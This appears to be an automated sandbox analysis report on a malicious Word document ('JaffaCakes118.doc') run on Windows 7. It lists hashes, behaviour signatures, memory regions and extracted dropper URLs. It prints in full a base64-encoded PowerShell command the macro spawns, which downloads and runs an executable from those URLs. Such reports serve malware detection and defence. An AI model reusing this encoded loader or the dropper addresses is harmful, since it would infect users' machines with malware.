Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    13-05-2024 23:57

General

  • Target

    3d1cacba3434258c85043e2b87df626d_JaffaCakes118.doc

  • Size

    158KB

  • MD5

    3d1cacba3434258c85043e2b87df626d

  • SHA1

    12e2f722d90d721778a11cc09ab7b0f7c747287c

  • SHA256

    2565cb2b664bf71a87eacbb7160af8687cea5f8e3127e52a22705eed5608f98e

  • SHA512

    93921066c65e8c748eaa301ff95b00ef18692d12150c839a5a1b0895939926b2486564622bb31b9b511ebb1322eb956a8a8b838c3cfb8b100c913d2a762a7731

  • SSDEEP

    1536:+iaqasrdi1Ir77zOH98Wj2gpngx+a9hxRiqLE8ct2PU7eXKSSxH5ppJx0FWr:+0rfrzOH98ipgJkJx0FWr

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://77yxx.com/b5rh/bZxS/

exe.dropper

http://shahramookht.com/t1k12k7t/8jq/

exe.dropper

http://www.aciitaly.com/adminer-master/gkI/

exe.dropper

https://codelta.es/images/9S35FR/

exe.dropper

https://burstoutloud.com/PPL/Hf/

exe.dropper

https://targetin.com/Silder-1/naK/

exe.dropper

http://dbestfishing.com.sg/67s/wfe/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 13 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3d1cacba3434258c85043e2b87df626d_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2872
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2692
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABJADMAbAB1AGcAZwB2AD0AKAAnAEUAYgAnACsAKAAnAHUAJwArACcAXwBsAHMAJwApACsAJwB2ACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAGUAcgBwAFIATwBmAEkAbABFAFwAVQBpAEgAaABhAF8AbABcAGYAcQBGAEsAYgBxADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBjAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAHUAUgBJAHQAeQBgAFAAYABSAG8AdABvAGMAYABvAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAnACsAKAAnADIALAAgAHQAJwArACcAbAAnACsAJwBzADEAMQAsACAAJwApACsAKAAnAHQAbAAnACsAJwBzACcAKQApADsAJABGAF8AegB3AGYAcgBrACAAPQAgACgAKAAnAEgAJwArACcAcwByADcAdwAnACsAJwBtACcAKQArACcAaAAnACsAJwBkAHQAJwApADsAJABRAGQANABnAHkAMwBnAD0AKAAnAEgAbwAnACsAJwBnADEAJwArACgAJwAwAHYAJwArACcAeQAnACkAKQA7ACQAQgA1ADEANQB1ADAAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAE8AJwArACcAZwBpAFUAaQAnACkAKwAoACcAaABoAGEAJwArACcAXwAnACkAKwAoACcAbAAnACsAJwBPAGcAaQAnACkAKwAoACcARgBxACcAKwAnAGYAawAnACsAJwBiAHEANABPACcAKQArACcAZwBpACcAKQAgAC0AcgBFAFAAbABhAGMAZQAgACgAJwBPACcAKwAnAGcAaQAnACkALABbAGMAaABBAHIAXQA5ADIAKQArACQARgBfAHoAdwBmAHIAawArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAQQBfAHEAbABiADEANgA9ACgAKAAnAFoAJwArACcAdABfADkAJwApACsAJwBrADAAJwArACcAdQAnACkAOwAkAFMANgBfAG4AbgA3AGEAPQAuACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBFAEIAQwBMAGkARQBOAFQAOwAkAFQAeAAyADMAXwBhAGQAPQAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwADoAJwApACsAKAAnAC8AJwArACcALwA3ACcAKQArACcANwAnACsAKAAnAHkAJwArACcAeAB4ACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAYgAnACkAKwAoACcANQByACcAKwAnAGgALwBiAFoAeABTACcAKwAnAC8AJwApACsAKAAnACoAaAB0AHQAcAAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AcwAnACkAKwAnAGgAYQAnACsAKAAnAGgAcgAnACsAJwBhAG0AbwBvACcAKwAnAGsAaAB0ACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AdAAnACsAJwAxAGsAJwApACsAKAAnADEAMgBrACcAKwAnADcAJwApACsAJwB0AC8AJwArACgAJwA4ACcAKwAnAGoAcQAvACcAKQArACcAKgBoACcAKwAoACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAHcAdwB3AC4AYQBjACcAKwAnAGkAJwArACcAaQAnACsAJwB0AGEAbAAnACkAKwAoACcAeQAnACsAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAJwBhAGQAJwArACcAbQAnACsAKAAnAGkAbgAnACsAJwBlAHIALQBtAGEAcwAnACsAJwB0ACcAKQArACgAJwBlACcAKwAnAHIALwBnAGsAJwApACsAJwBJACcAKwAoACcALwAnACsAJwAqAGgAJwApACsAJwB0AHQAJwArACcAcABzACcAKwAnADoAJwArACgAJwAvAC8AYwAnACsAJwBvACcAKQArACgAJwBkAGUAbAB0ACcAKwAnAGEAJwApACsAJwAuACcAKwAoACcAZQAnACsAJwBzAC8AJwApACsAJwBpACcAKwAoACcAbQAnACsAJwBhAGcAZQBzAC8AJwArACcAOQBTADMANQAnACsAJwBGAFIAJwApACsAJwAvACoAJwArACgAJwBoAHQAdABwAHMAOgAvAC8AYgAnACsAJwB1AHIAJwArACcAcwAnACsAJwB0AG8AdQAnACkAKwAoACcAdAAnACsAJwBsAG8AdQBkACcAKwAnAC4AYwBvAG0ALwBQAFAATAAvAEgAZgAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzADoAJwApACsAKAAnAC8ALwAnACsAJwB0AGEAJwApACsAKAAnAHIAZwAnACsAJwBlAHQAaQAnACsAJwBuAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AUwBpACcAKQArACgAJwBsAGQAZQByAC0AMQAvACcAKwAnAG4AYQAnACsAJwBLAC8AJwArACcAKgBoAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAoACcALwBkACcAKwAnAGIAJwArACcAZQBzAHQAZgBpAHMAJwApACsAKAAnAGgAaQBuACcAKwAnAGcALgBjAG8AbQAnACsAJwAuACcAKwAnAHMAZwAnACkAKwAoACcALwA2ADcAJwArACcAcwAvAHcAJwApACsAKAAnAGYAZQAnACsAJwAvACcAKQApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEEANgB2AHIAXwBhAG8APQAoACgAJwBWACcAKwAnAHQAaABoACcAKQArACgAJwAyACcAKwAnAHYAdQAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEsAdgB4AGkAZAA1AHQAIABpAG4AIAAkAFQAeAAyADMAXwBhAGQAKQB7AHQAcgB5AHsAJABTADYAXwBuAG4ANwBhAC4AIgBEAE8AVwBOAGAATABvAGEAYABkAEYASQBgAEwAZQAiACgAJABLAHYAeABpAGQANQB0ACwAIAAkAEIANQAxADUAdQAwAHIAKQA7ACQARgBpAG0AaQB5AGgAawA9ACgAKAAnAEcAdQAnACsAJwBoACcAKQArACgAJwBmACcAKwAnADQAagB0ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEIANQAxADUAdQAwAHIAKQAuACIAbABlAGAATgBHAHQASAAiACAALQBnAGUAIAAyADYANgA1ADMAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwBrAGUAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAoACQAQgA1ADEANQB1ADAAcgApADsAJABaAHoAZABhAGcAcABhAD0AKAAnAFIAJwArACgAJwBzACcAKwAnAHQAdAAnACkAKwAoACcAeQAnACsAJwB0AG8AJwApACkAOwBiAHIAZQBhAGsAOwAkAEMAegBjAHgAbQB1ADUAPQAoACgAJwBSACcAKwAnAGkAcAAnACkAKwAoACcANABqACcAKwAnADAAJwApACsAJwB1ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBuADIANwBxADYAYgA9ACgAJwBJAHgAJwArACgAJwBfADEAMgBuACcAKwAnAHYAJwApACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2732

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      da382e4d53ab2f0ed367ba72999c9ad4

      SHA1

      e053eada6988783cb99f9b45242e66774a1ee195

      SHA256

      4b5992e99a3be726edac1dae0967e2ed6ea5c1bb860e1dcd2801baa55da50821

      SHA512

      c527324aaaa7bf914dd1829c30edca0b37323837c9810c191d6bb3202b6ab5e9a00a166afba96a9566e57000a31ddd8dc440ed58ff0a9a3cde6a3797a72bc455

    • memory/2732-40-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

      Filesize

      2.9MB

    • memory/2732-41-0x0000000002960000-0x0000000002968000-memory.dmp

      Filesize

      32KB

    • memory/2872-22-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-68-0x00000000716AD000-0x00000000716B8000-memory.dmp

      Filesize

      44KB

    • memory/2872-7-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-9-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-11-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-10-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-23-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-0-0x000000002F501000-0x000000002F502000-memory.dmp

      Filesize

      4KB

    • memory/2872-28-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-18-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-17-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-15-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-14-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-13-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-12-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-19-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-24-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-29-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-20-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-8-0x0000000005D10000-0x0000000005E10000-memory.dmp

      Filesize

      1024KB

    • memory/2872-26-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-32-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-30-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-31-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-27-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-34-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-25-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-6-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-2-0x00000000716AD000-0x00000000716B8000-memory.dmp

      Filesize

      44KB

    • memory/2872-21-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-47-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-46-0x00000000716AD000-0x00000000716B8000-memory.dmp

      Filesize

      44KB

    • memory/2872-49-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-50-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2872-67-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2872-33-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB

    • memory/2872-69-0x0000000000600000-0x0000000000700000-memory.dmp

      Filesize

      1024KB